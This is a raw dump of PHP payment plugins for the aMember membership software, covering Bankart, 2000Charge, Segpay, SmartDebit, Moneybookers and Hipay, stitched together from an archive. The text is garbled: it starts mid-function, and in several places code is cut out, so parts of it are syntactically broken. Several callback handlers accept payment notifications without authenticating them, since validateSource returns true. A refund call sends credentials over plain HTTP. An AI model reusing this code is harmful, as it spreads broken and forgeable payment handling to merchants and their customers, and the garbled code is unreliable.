$i = $i + 4, $j++) { $y = unpack("Nx", substr($stringData, $i, 4)); $data[$j] = $y["x"]; } return $data; } function simpleXOR($byteInput) { $k = 0; for ($m = 0; $m < count($byteInput); $m++) { if ($k >= count($this->key)) $k = 0; $result[$m] = $byteInput[$m] ^ $this->key[$k]; $k++; } return $result; } function zapakiraj($data) { $stringData = ''; for ($i = 0; $i < count($data); $i++) { $bin = pack("N", $data[$i]); $stringData = $stringData.$bin; } return $stringData; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $encoded = file_get_contents(dirname(__FILE__).'/resource.cgn'); $decoded = $this->zapakiraj($this->simpleXOR($this->odpakiraj($encoded))); $temp = tempnam($this->getDi()->data_dir,'bnk'); file_put_contents($temp, $decoded); $zipFile = zip_open($temp); while ($zipEntry = zip_read($zipFile)) { if (zip_entry_name($zipEntry) == $this->getConfig('terminal_id').'.xml') { $zip_entry_exist = true; if (zip_entry_open($zipFile, $zipEntry)) { $readStream = zip_entry_read($zipEntry); $data = unpack("N*", $readStream); for ($i=1; $isimpleXOR($data1); $bin = null; for ($i=0; $igetDi()->errorLogTable->log("BANKART API ERROR : terminal xml file is not found in cgn file"); throw new Am_Exception_InputError(___('Error happened during payment process. ')); } //for some reasone xml is broken in bankart cgn file $strData = preg_replace("/\<\/term[a-z]+$/",'',$strData); $terminal = new SimpleXMLElement($strData); $port = (string)$terminal->port[0]; $context = (string)$terminal->context[0]; if($port == "443" ) $url = "https://"; else $url = "http://"; $url.=(string)$terminal->webaddress[0]; if(strlen($port) > 0) $url.= ":" . $port; if(strlen($context) > 0) { if ($context[0] != "/") $url.="/"; $url.=$context; if (!$context[strlen($context)-1] != "/") $url.="/"; } else { $url.="/"; } $url.="servlet/PaymentInitHTTPServlet"; $vars = array( 'id' => (string)$terminal->id[0], 'password' => (string)$terminal->password[0], 'passwordhash' => (string)$terminal->passwordhash[0], 'action' => 4, 'amt' => $invoice->first_total, 'currency' => $this->currency_codes[$invoice->currency], 'responseURL' => $this->getPluginUrl('ipn'), //strange bankart requirements 'errorURL' => $this->getRootUrl() . "/cancel", 'trackId' => $invoice->public_id, 'udf1' => $invoice->public_id, ); $req = new Am_HttpRequest($url, Am_HttpRequest::METHOD_POST); $req->addPostParameter($vars); $res = $req->send(); $body = $res->getBody(); if(strpos($body, 'ERROR')>0) { $this->getDi()->errorLogTable->log("BANKART API ERROR : $body"); throw new Am_Exception_InputError(___('Error happened during payment process. ')); } list($payment_id,$url) = explode(':', $body, 2); $invoice->data()->set('bankart_payment_id', $payment_id)->update(); $a = new Am_Paysystem_Action_Redirect($url. '?PaymentID=' .$payment_id); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->get('Error') || $request->get('result') != 'APPROVED') { $invoice = $this->getDi()->invoiceTable->findFirstByData('bankart_payment_id', $request->get('paymentid')); echo "REDIRECT=".$this->getRootUrl() . "/cancel?id=" . $invoice->getSecureId("CANCEL"); die; } return new Am_Paysystem_Transaction_Bankart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array_keys($this->currency_codes); } public function getReadme() { $rootURL = $this->getDi()->config->get('root_url'); return <<Bankart payment plugin configuration 1. Enable "bankart" payment plugin at aMember CP->Setup->Plugins 2. Configure "Bankart" payment plugin at aMember CP -> Setup/Configuration -> Bankart 3. Download resource.cgn from your Bankart merchant account and upload it into /amember/application/default/plugins/payment/bankart CUT; } } class Am_Paysystem_Transaction_Bankart extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('udf1'); } public function getUniqId() { return $this->request->get('paymentid'); } public function validateSource() { return true; } public function validateStatus() { return ($this->request->get('result') == 'APPROVED'); } public function validateTerms() { return true; } public function processValidated() { parent::processValidated(); echo "REDIRECT=".$this->plugin->getRootUrl() . "/thanks?id=" . $this->invoice->getSecureId("THANKS"); } }PK\@spayment/easypaydirect.phpnu[ 'CAD', 'CHF' => 'CHF', 'CNY' => 'CNY', 'EUR' => 'EUR', 'GBR' => 'GBR', 'NTD' => 'TWD' ); const LIVE_URL = 'https://secure.2000charge.com/sys/NATSPaymentProcess.asp'; const CANCEL_URL = ': https://secure.2000charge.com/ClientsOnly/RCS.asp'; protected $payment_options = array( 'COMBO' => 'Allows consumer to choose', 'ACH' => 'ACH USD/ CAD', 'ASTROPAYCARD'=>'ASTROPAYCARD USD', 'BRAZILPAY' => 'BRAZILPAY BRL', 'CREDITCARD' => 'CREDITCARD USD', 'DIRECTPAY' => 'DIRECTPAY USD/EUR', 'EPS' => 'EPS EUR', 'EURODEBIT' => 'EURODEBIT EUR', 'GIROPAY' => 'GIROPAY EUR', 'IDEAL' => 'IDEAL EUR', 'PAYSAFECARD' => 'PAYSAFECARD EUR', 'POLIAU' => 'POLIAU AUD', 'POLINZ' => 'POLINZ NZD', 'PRZELEWY' => 'PRZELEWY PLN', 'QIWI' => 'QIWI EUR', 'SEPA' => 'SEPA EUR', 'TELEINGRESO' => 'TELEINGRESO EUR', 'TELEPAY' => 'TELEPAY MXN', 'YELLOWPAY' => 'YELLOWPAY CHF' ); const PRICEPOINT = 'charge2000_pricepoint'; function init() { parent::init(); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText('web_id', '2000Charge.com website ID')); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText(self::PRICEPOINT, 'Mapping code given by 2000Charge')); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldSelect('payment_option', 'Payment Option', 'Display Only Specified Payment Options', null, array('options' =>$this->payment_options))); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('web_id', array('size' => 20, 'maxlength' => 20)) ->setLabel('2000Charge.com website ID') ->addRule('required'); $form->addText('account')->setLabel('Your client account login id'); $form->addText('pwd')->setLabel('Your client account login password'); $form->addSelect('payment_option', '', array('options' => $this->payment_options)) ->setLabel("Payment Option\n" . 'Display Only Specified Payment Options'); } function getPaymentOption(Invoice $invoice) { $products = $invoice->getProducts(); return ($po = $products[0]->data()->get('payment_option')) ? $po : $this->getConfig('payment_option', 'COMBO'); } function getSupportedCurrencies() { return array('AUD', 'BRL', 'CAD', 'CHF', 'CNY', 'EUR', 'GBP', 'NZD', 'PLN', 'USD'); } function getDays(Am_Period $period){ switch($period->getUnit()){ case Am_Period::DAY: return $period->getCount(); case Am_Period::MONTH: return $period->getCount()*30; case Am_Period::YEAR: return $period->getCount()*365; } } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $products = $invoice->getProducts(); $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $web_id = $products[0]->data()->get('web_id'); if(empty($web_id)) $this->getConfig('web_id'); $a->id = $web_id; $a->pricepoint = $products[0]->data()->get(self::PRICEPOINT); $a->paymentoption = $this->getPaymentOption($invoice); $a->firstname = $invoice->getFirstName(); $a->lastname = $invoice->getLastName(); $a->address = $invoice->getStreet(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->zip = $invoice->getZip(); $a->country = $invoice->getCountry(); $a->phone = $invoice->getPhone(); $a->email = $invoice->getEmail(); $a->username = $invoice->getLogin(); $a->password = 'notused'; $a->purchaseamt = $invoice->first_total; $a->currencyid= $invoice->currency; $a->purchasedesc = $invoice->getLineDescription(); if($invoice->rebill_times) { $a->recurflag = 'Y'; $a->recuramt = $invoice->second_total; $a->recurdatevalue = $this->getDays(new Am_Period($this->invoice->first_period)); } else { $a->recurflag = 'N'; } $a->xfield = $invoice->public_id; $a->postbackurl = $this->getPluginUrl('ipn'); $a->country = $invoice->getCountry(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_charge2000($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<getDi()->db->selectCell("SELECT receipt_id FROM ?_invoice_payment WHERE invoice_id=?d ORDER BY dattm LIMIT 1", $invoice->pk()); } function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $request = new Am_HttpRequest(self::CANCEL_URL, Am_HttpRequest::METHOD_POST); $request->addPostParameter('action', 'Cancel'); $request->addPostParameter('email', $invoice->getEmail()); $request->addPostParameter('mode', 'P'); $request->addPostParameter('transaction', $this->findInitialTransactionNumber($invoice)); $request->addPostParameter('clientaccount', $this->getConfig('account')); $request->addPostParameter('clientpwd', $this->getConfig('pwd')); $this->logRequest($request); $response = $request->send(); $this->logResponse($response); } } class Am_Paysystem_Transaction_charge2000 extends Am_Paysystem_Transaction_Incoming { protected $_ip = array( array('207.71.84.0', '207.71.87.255') ); public function findInvoiceId() { return $_GET['xfield']; // return $this->request->get('xfield'); } public function getUniqId() { return $_GET['transnum']; // return $this->request->get('transnum'); } public function validateSource() { $this->_checkIp($this->_ip); return true; } public function validateStatus() { return $_GET['status'] == 'APPROVED'; //return $this->request->get('status') == 'APPROVED'; } public function validateTerms() { return true; } public function processValidated(){ $this->invoice->addPayment($this); /* switch($this->request->get('transtype')) { case 'SALE-00': case 'SALE-01': case 'SALE-02': $this->invoice->addPayment($this); break; case 'REFUND': case 'VOID': $this->invoice->addRefund($this, $this->request->get('orgtransaction')); break; case 'CHARGEBACK': $this->invoice->addChargeback($this, $this->request->get('orgtransaction')); } * */ } }PK\q+))payment/segpay.phpnu[addText('package_id') ->setLabel("The Package ID\n" . 'Merchant Setup -> Packages -> Package ID'); $form->addText('userid') ->setLabel("Refunds Username\n" . 'my.segpay.com username'); $form->addText('useraccesskey') ->setLabel("Refunds Password\n" . 'my.segpay.com password'); $form->addAdvCheckbox('dynamic_pricing') ->setLabel("Allow Dynamic Pricing\n" . 'this option does not allow to use recurring'); } public function isConfigured() { return $this->getConfig('package_id') ? true : false; } public function getActionURL(Invoice $invoice) { return sprintf(self::URL . '?x-eticketid=%s:%s', $invoice->getItem(0)->getBillingPlanData('segpay_package_id') ? $invoice->getItem(0)->getBillingPlanData('segpay_package_id') : $this->getConfig('package_id'), $invoice->getItem(0)->getBillingPlanData('segpay_price_point_id') ); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); if($this->getConfig('dynamic_pricing')) { $req = new Am_HttpRequest('http://srs.segpay.com/PricingHash/PricingHash.svc/GetDynamicTrans?value='.$invoice->first_total, Am_HttpRequest::METHOD_GET); $res = $req->send(); $action = new Am_Paysystem_Action_Redirect($this->getActionURL($invoice) . '&dynamictrans=' . strip_tags($res->getBody())); $action->amount = $invoice->first_total; $action->addParam('publicid' , $invoice->public_id); $action->publicid = $invoice->public_id; $action->addParam('x-billname' , $user->getName()); $action->addParam('x-billemail' , $user->email); $action->addParam('x-billaddr' , $user->street); $action->addParam('x-billcity' , $user->city); $action->addParam('x-billzip' , $user->zip); $action->addParam('x-billcntry' , $user->country); $action->addParam('x-billstate' , $user->state); $action->addParam('x-auth-link' , $this->getReturnUrl($request)); $action->addParam('x-decl-link' , $this->getCancelUrl($request)); } else { $action = new Am_Paysystem_Action_Form($this->getActionURL($invoice)); $action->addParam('x-billname' , $user->getName()); $action->addParam('x-billemail' , $user->email); $action->addParam('x-billaddr' , $user->street); $action->addParam('x-billcity' , $user->city); $action->addParam('x-billzip' , $user->zip); $action->addParam('x-billcntry' , $user->country); $action->addParam('x-billstate' , $user->state); $action->addParam('x-auth-link' , $this->getReturnUrl($request)); $action->addParam('x-decl-link' , $this->getCancelUrl($request)); $action->addParam('username' , $invoice->getLogin()); $action->addParam('publicid' , $invoice->public_id); } $result->setAction($action); } public function getSupportedCurrencies() { return array('USD', 'EUR', 'GBP'); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Segpay($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('segpay_price_point_id', "Segpay Price Point ID", "you must create the same product
    in Segpay and apply it to the Package/Website and enter its Price Point ID Here")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('segpay_package_id', "Segpay Package ID", "Merchant Setup -> Packages -> Package ID")); } function getReadme() { $url = preg_replace('#^https?://#', '', $this->getPluginUrl()); return << Postbacks and add postback with below settings. TransPost2 Postback $url/ipn?act=<action>&stage=<stage>&approved=<approved>&trantype=<trantype>&purchaseid=<purchaseid>&tranid=<tranid>&price=<price>¤cycode=<currencycode>&eticketid=<eticketid>&ip=<ipaddress>&initialvalue=<ival>&initialperiod=<iint>&recurringvalue=<rval>&recurringperiod=<rint>&desc=<desc>&username=<extra username>&password=<extrapassword>&name=<billname>&firstname=<billnamefirst>&lastname=<billnamelast>&email=<billemail>&phone=<billphone>&address=<billaddr>&city=<billcity>&state=<billstate>&zipcode=<billzip>&country=<billcntry>&transGUID=<transguid>&standin=<standin>&xsellnum=<xsellnum>&billertranstime=<transtime>&relatedtranid=<relatedtranid>&publicid=<extra publicid> Message OK CUT; } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getActionName() == 'check') { $this->_logDirectAction($request, $response, $invokeArgs); print "OK"; exit; } try { if($_GET['tranid'] && !$request->get('tranid')) { //POST combined with GET $request = new Am_Mvc_Request($_GET); $this->logRequest($request, "POSTBACK GET [ipn]"); } parent::directAction($request, $response, $invokeArgs); print "OK"; exit; } catch (Exception $e) { $this->getDi()->errorLogTable->logException($e); print "ERROR"; exit; } } function processRefund__(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { list(, $trans_id) = explode("-", $payment->receipt_id); try { $r = new Am_HttpRequest( 'http://srs.segpay.com/ADM.asmx/CancelMembership' . '?Userid=' . $this->getConfig('userid') . '&UserAccessKey=' . $this->getCOnfig('useraccesskey') . '&PurchaseID=' . $trans_id . '&CancelReason='); $response = $r->send(); } catch (Exception $e) { $this->getDi()->errorLogTable->logException($e); } if ($response && $response->getBody() == 'Successful') { $trans = new Am_Paysystem_Transaction_Manual($this); $trans->setAmount($amount); $trans->setReceiptId($payment->receipt_id); $result->setSuccess($trans); } else { $result->setFailed(array('Error Processing Refund! ' . $response->getBody())); } } } class Am_Paysystem_Transaction_Segpay extends Am_Paysystem_Transaction_Incoming { const ACTION_AUTH = 'auth'; const ACTION_VOID = 'void'; const TYPE_SALE = 'sale'; const TYPE_CHARGE = 'charge'; const TYPE_CREDIT = 'credit'; public function findInvoiceId() { return ($this->request->get('publicid') ? $this->request->get('publicid') : $this->request->getFiltered('purchaseid')); } public function getUniqId() { return $this->request->get('tranid'); } public function validateSource() { return true; } public function validateStatus() { return strtolower($this->request->get('approved')) == 'yes'; } public function validateTerms() { $isFirst = $this->invoice->first_total && !$this->invoice->getPaymentsCount(); $expected = $isFirst ? $this->invoice->first_total : $this->invoice->second_total; return $expected <= $this->getAmount(); } function getAmount() { return abs($this->request->get('price')); } public function processValidated() { if(!$this->invoice->data()->get(Am_Paysystem_Segpay::PURCHASE_ID) && $this->request->getFiltered('purchaseid')) $this->invoice->data()->set(Am_Paysystem_Segpay::PURCHASE_ID, $this->request->getFiltered('purchaseid'))->update(); if(strtolower($this->request->get('trantype')) == self::TYPE_SALE) { if(strtolower($this->request->get('act')) == self::ACTION_AUTH) { if(floatval($this->request->get('price'))==0) $this->invoice->addAccessPeriod ($this); else $this->invoice->addPayment($this); } elseif(strtolower($this->request->get('act')) == self::ACTION_VOID) $this->invoice->addRefund ($this); } } public function loadInvoice($invoiceId) { if($invoice = parent::loadInvoice($invoiceId)) return $invoice; else { if($purchaseid = $this->request->getFiltered('purchaseid')) { $invoice = Am_Di::getInstance()->invoiceTable->findFirstByData(Am_Paysystem_Segpay::PURCHASE_ID, $purchaseid); // update invoice_id in the log record if ($invoice && $this->log) { $this->log->updateQuick(array( 'invoice_id' => $invoice->pk(), 'user_id' => $invoice->user_id, )); } return $invoice; } } return false; } }PK\0payment/smart-debit-dl.phpnu[setTitle('SmartDebit (Direct Link)'); $form->addText('pslid') ->setLabel('PSLID (Service User)')->addRule('required'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->first_period != $invoice->second_period) { return ___('Can not handle this billing terms'); } if ($invoice->rebill_times != IProduct::RECURRING_REBILLS) { return ___('Can not handle this billing terms'); } $period = new Am_Period($invoice->first_period); if (!in_array($period->getUnit(), array('m', 'w', 'y')) || $period->getCount() != 1) { return ___('Can not handle this billing terms'); } return parent::isNotAcceptableForInvoice($invoice); } public function getSupportedCurrencies() { return array('GBP'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $period = new Am_Period($invoice->first_period); $a = new Am_Paysystem_Action_Redirect(self::GATEWAY); $a->pslid = $this->getConfig('pslid'); $a->reference_number = self::REF_PREFIX . $invoice->public_id; $a->frequency_type = strtoupper($period->getUnit()); if ($invoice->first_total != $invoice->second_total) $a->first_amount = $invoice->first_total * 100; $a->regular_amount = $invoice->second_total * 100; $a->payer_reference = sprintf('U%07d', $user->pk()); $a->first_name = $user->name_f; $a->last_name = $user->name_l; $a->address_1 = $user->street; $a->address_2 = $user->street2; $a->town = $user->city; $a->county = $this->getDi()->countryTable->getTitleByCode($user->country); $a->postcode = $user->zip; $a->email_address = $user->email; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_SmartDebitDl($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOTHING; } public function getHash() { return $this->getDi()->security->siteHash($this->getId() . '-ipn', 10); } public function getReadme() { $ipn_url = $this->getPluginUrl($this->getHash()); return <<SmartDebit plugin configuration Set callback url in your SmartDebit account to: $ipn_url Please note your account collections in SmartDebit should match recurring terms for product in aMember. You need to disable auto-generation for reference_number in your SmartDebit account. CUT; } } class Am_Paysystem_Transaction_SmartDebitDl extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam('dd_reference'); } public function findInvoiceId() { $ref = $this->request->get('dd_reference'); return substr($ref, strlen(Am_Paysystem_SmartDebitDl::REF_PREFIX)); } public function validateSource() { return ($this->request->getActionName() == $this->getPlugin()->getHash()); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); $this->invoice->extendAccessPeriod(Am_Period::RECURRING_SQL_DATE); } }PK\e))payment/moneybookers.phpnu[addText("business") ->setLabel("MoneyBookers account email\n" . 'your email address registered in MoneyBooks'); $form->addText("password") ->setLabel("Secret word\n" . 'Get it from Settings > Developer Settings > Secret Word'); } function getSupportedCurrencies() { return array('USD', 'GBP', 'EUR', 'CAD', 'JPY'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect(self::LIVE_URL); $a->pay_to_email = $this->getConfig('business'); $a->pay_from_email = $u->email; $a->transaction_id = $invoice->public_id; $a->amount = $invoice->first_total; $a->currency = $invoice->currency; $a->language = $u->lang; $a->return_url = $this->getReturnUrl(); $a->cancel_url = $this->getCancelUrl(); $a->status_url = $this->getPluginUrl('ipn'); $a->detail1_text = $invoice->getLineDescription(); $a->firstname = $u->name_f; $a->lastname = $u->name_l; $a->address = $u->street; $a->postal_code = $u->zip; $a->city = $u->city; $a->state = $u->state; $a->country = $u->country; if($invoice->second_total>0){ $a->rec_amount = $invoice->second_total; $periods = array('m' => 'month','y' => 'year', 'd' => 'day'); $second_period = new Am_Period($invoice->second_period); $a->rec_cycle = $periods[$second_period->getUnit()]; $a->rec_period = $second_period->getCount(); $a->rec_start_date = date('Y/m/d',strtotime($invoice->calculateRebillDate(1))); $a->rec_status_url = $this->getPluginUrl('ipn'); } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Moneybookers($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Moneybookers_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } } class Am_Paysystem_Transaction_Moneybookers extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('transaction_id'); } public function getUniqId() { return $this->request->get('mb_transaction_id'); } public function validateSource() { if($this->request->get('pay_to_email') != $this->getPlugin()->getConfig('business')) return false; $str = $this->request->get('merchant_id') . $this->request->get('transaction_id') . strtoupper(md5($this->getPlugin()->getConfig('password'))) . $this->request->get('mb_amount') . $this->request->get('mb_currency') . $this->request->get('status'); if (strtoupper(md5($str)) != $this->request->get('md5sig')) return false; else return true; } public function validateStatus() { return in_array(intval($this->request->get('status')),array(-1,2)); } public function validateTerms() { return $this->request->get('amount')==($this->invoice->isFirstPayment() ? $this->invoice->first_total : $this->invoice->second_total); } public function processValidated() { switch (intval($this->request->get('status'))) { case -1: $this->invoice->setCancelled(true); break; default: $this->invoice->addPayment($this); break; } } }PK\SGNGNpayment/hipay/hipay.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'hipay_site_id', "Hipay Site Id", "(optional)" ,array(/*,'required'*/) )); } public function getSupportedCurrencies() { return array( 'AUD', // => 'Australian dollar', 'GBP', // => 'British pound', 'CAD', // => 'Canadian dollar', 'EUR', // => 'Euro', 'BRL', // => 'Réal brésilien', 'SEK', // => 'Swedish krona', 'CHF', // => 'Swiss franc', 'USD' // => 'US dollar' ); } public function _initSetupForm(Am_Form_Setup $form) { $form->addInteger('account_id', array('size'=>20)) ->setLabel("Hipay Account Id\n" . '(number)'); $form->addPassword('merchant_password', array('size'=>20)) ->setLabel("Merchant Password\n" . '(set within your Hipay account)'); $form->addInteger('site_id', array('size'=>20)) ->setLabel("Hipay Site Id" . '(number)'); $sel = $form->addSelect('order_category') ->setLabel("The order/product category attached to the merchant site's category\n" . "if there is no values - please enter Site Id and Save"); $sel->loadOptions($this->getOrderCategories()); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function isConfigured() { return $this->getConfig('account_id') > ''; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { require_once dirname(__FILE__) . '/mapi/mapi_package.php'; $OrderTitle = 'Order on '.$this->getDi()->config->get('site_title'); $OrderInfo = $invoice->getLineDescription(); $OrderCategory = $this->getConfig('order_category'); $params = new HIPAY_MAPI_PaymentParams(); $params->setLogin($this->getConfig('account_id'), $this->getConfig('merchant_password')); $params->setAccounts($this->getConfig('account_id')); $params->setLocale('en_GB'); // The payment interface will be in International French by default $params->setRating('ALL'); // '+16' - The order content is intended for people at least 16 years old. $params->setMedia('WEB'); // The interface will be the Web interface if (!$invoice->rebill_times) $params->setPaymentMethod(HIPAY_MAPI_METHOD_SIMPLE); // This is a single payment else $params->setPaymentMethod(HIPAY_MAPI_METHOD_MULTI); // It is a Recurring payment $params->setCaptureDay(HIPAY_MAPI_CAPTURE_IMMEDIATE); // The capture take place immediately $params->setCurrency($invoice->currency); $params->setIdForMerchant('aMember invoice #' . $invoice->public_id); // The merchant-selected identifier for this order $params->setMerchantDatas('invoice_id', $invoice->public_id); //Data element of type key=value declared and will be returned to the merchant after the payment in the notification data feed [C]. $site_id = $this->invoice->getItem(0)->getBillingPlanData('hipay_site_id'); if (!$site_id) $site_id = $this->getConfig('site_id'); // use default value $params->setMerchantSiteId($site_id); // This order relates to the web site which the merchant declared in the Hipay platform. $params->setURLOk($this->getReturnUrl()); // If the payment is accepted, the user will be redirected to this page $params->setUrlNok($this->getCancelUrl()); // If the payment is refused, the user will be redirected to this page $params->setUrlCancel($this->getCancelUrl()); // If the user cancels the payment, he will be redirected to this page $params->setUrlAck($this->getPluginUrl('ipn')); // The merchant's site will be notified of the result of the payment by a call to the script $t = $params->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating the paymentParams object'); if ($invoice->tax_rate && $invoice->tax_title) { $tax = new HIPAY_MAPI_Tax(); $tax->setTaxName($invoice->tax_title); $percentage = true; //$invoice->tax_type == 1; $tax->setTaxVal($invoice->tax_rate, $percentage); $t = $tax->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating a tax object'); } $item1 = new HIPAY_MAPI_Product(); $item1->setName($invoice->getItem(0)->item_title); $item1->setCategory($OrderCategory); $item1->setquantity(1); $item1->setPrice($invoice->first_total); if (isset($tax)) $item1->setTax(array($tax)); //$item1->setInfo('Simmons, Dan – ISBN 0575076380'); //$item1->setRef('JV005'); $t = $item1->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating a product object'); $order = new HIPAY_MAPI_Order(); $order->setOrderTitle($OrderTitle); // Order title and information $order->setOrderInfo($OrderInfo); $order->setOrderCategory($OrderCategory); // The order category is 3 (Books) if ($invoice->hasShipping()) $order->setShipping($invoice->first_shipping, isset($tax) ? array($tax) : array()); // The shipping costs are 1.50 Euros excluding taxes, and $tax1 is applied //$order->setInsurance(2,array($tax3,$tax1)); // The insurance costs are 2 Euros excluding taxes, and $tax1 and $tax3 are applied //$order->setFixedCost(2.25,array($tax3)); // The fixed costs are 2.25 Euros excluding taxes, and $tax3 is applied to this amount //$order->setAffiliate(array($aff1,$aff2)); // This order has two affiliates, $aff1 and $aff2 $t = $order->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating a product object'); if (!$invoice->rebill_times) { try { $payment = new HIPAY_MAPI_SimplePayment($params, $order, array($item1)); } catch (Exception $e) { throw new Am_Exception_Paysystem_TransactionInvalid($e->getMessage()); } } else { // First payment: The payment will be made in 1 hour, in the amount of 5 Euros, excluding taxes plus tax $tax1. $ins1 = new HIPAY_MAPI_Installment(); if ($invoice->first_total > 0){ $price = $invoice->first_total; $paymentDelay = '0H'; } else { $price = $invoice->second_total; $paymentDelay = $this->getPeriod($invoice->first_period); } $ins1->setPrice($price); if (isset($tax)) $ins1->setTax(array($tax)); $ins1->setFirst(true, $paymentDelay); $t = $ins1->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating an instalment object'); // Subsequent payments: The payments will be made every 30 days in the amount of 12.5 Euros excluding taxes, plus tax of $tax2.0. $ins2 = new HIPAY_MAPI_Installment(); $ins2->setPrice($invoice->second_total); if (isset($tax)) $ins2->setTax(array($tax)); $paymentDelay = $this->getPeriod($invoice->second_period); $ins2->setFirst(false, $paymentDelay); $t = $ins2->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating an instalment object'); // Initial order $orderins1 = new HIPAY_MAPI_Order(); $orderins1->setOrderTitle($OrderTitle); // Title and information on this payment $orderins1->setOrderInfo($OrderInfo); //1 free hour $orderins1->setOrderCategory($OrderCategory); // The order category is 3 (Books) $t = $orderins1->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating an order object'); // Subsequent orders $orderins2 = new HIPAY_MAPI_Order(); $orderins2->setOrderTitle($OrderTitle); // Title and information on this payment $orderins2->setOrderInfo($OrderInfo); //only 12 euros 50 monthly ! $orderins2->setOrderCategory($OrderCategory); // The order category is 3 (Books) $t = $orderins2->check(); if (!$t) throw new Am_Exception_Paysystem_TransactionInvalid('An error occurred while creating an order object'); try { $payment = new HIPAY_MAPI_MultiplePayment($params, $orderins1, $ins1, $orderins2, $ins2); } catch (Exception $e) { throw new Am_Exception_Paysystem_TransactionInvalid($e->getMessage()); } } $xmlTx = $payment->getXML(); $output = HIPAY_MAPI_SEND_XML::sendXML($xmlTx, $this->getConfig('testing') ? self::TEST_URL : self::URL); $r = HIPAY_MAPI_COMM_XML::analyzeResponseXML($output, $url, $err_msg); if ($r === true && !$err_msg) { // The internet user is sent to the URL indicated by the Hipay platform $a = new Am_Paysystem_Action_Redirect($url); $result->setAction($a); } else { throw new Am_Exception_Paysystem_TransactionInvalid($err_msg); } } private function getOrderCategories() { $OrderCategories = array(); $url = $this->getConfig('testing') ? self::TEST_URL : self::URL; $url .= "list-categories/id/" . $this->getConfig('site_id'); $c = new Am_HttpRequest($url); $c->setHeader('Accept', 'application/xml'); $res = $c->send(); preg_match_all('/(.*)<\/category>/sU', $res->getBody(), $matches); foreach ($matches[1] as $k=>$v) $OrderCategories[$v] = $matches[2][$k]; return $OrderCategories; /* The order or product categories are attached to, and depend upon, the merchant site’s category. Depending on the category that is associated with the site, the categories that are available to the order and products will NOT be the same. You can obtain the list of order and product category ID’s for the merchant site at this URL: Live platform : https://payment.hipay.com/order/list-categories/id/[merchant_website_id] Test platform : https://test-payment.hipay.com/order/list-categories/id/[merchant_website_id] Abonnement Autres Télécharegment */ } public function getPeriod($period) { $p = new Am_Period($period); switch ($p->getUnit()) { case Am_Period::DAY: return $p->getCount() . 'D'; case Am_Period::MONTH: return $p->getCount() . 'M'; case Am_Period::YEAR: return $p->getCount() * 12 . 'M'; default: // nop. exception } throw new Am_Exception_Paysystem_NotConfigured( "Unable to convert period [$period] to Hipay-compatible.". "Must be number of days, months or years"); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return << 'Add a new site'. 3. Make test purchase. After your testing is done, disable Hipay plugin Testing mode in aMember Control Panel. HANDLING OF RECURRING TRANSACTIONS IS NOT YET TESTED. CUT; } /* public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); $transaction = $this->createTransaction($request, $response, $invokeArgs); if (!$transaction) { throw new Am_Exception_InputError("Request not handled - createTransaction() returned null"); } 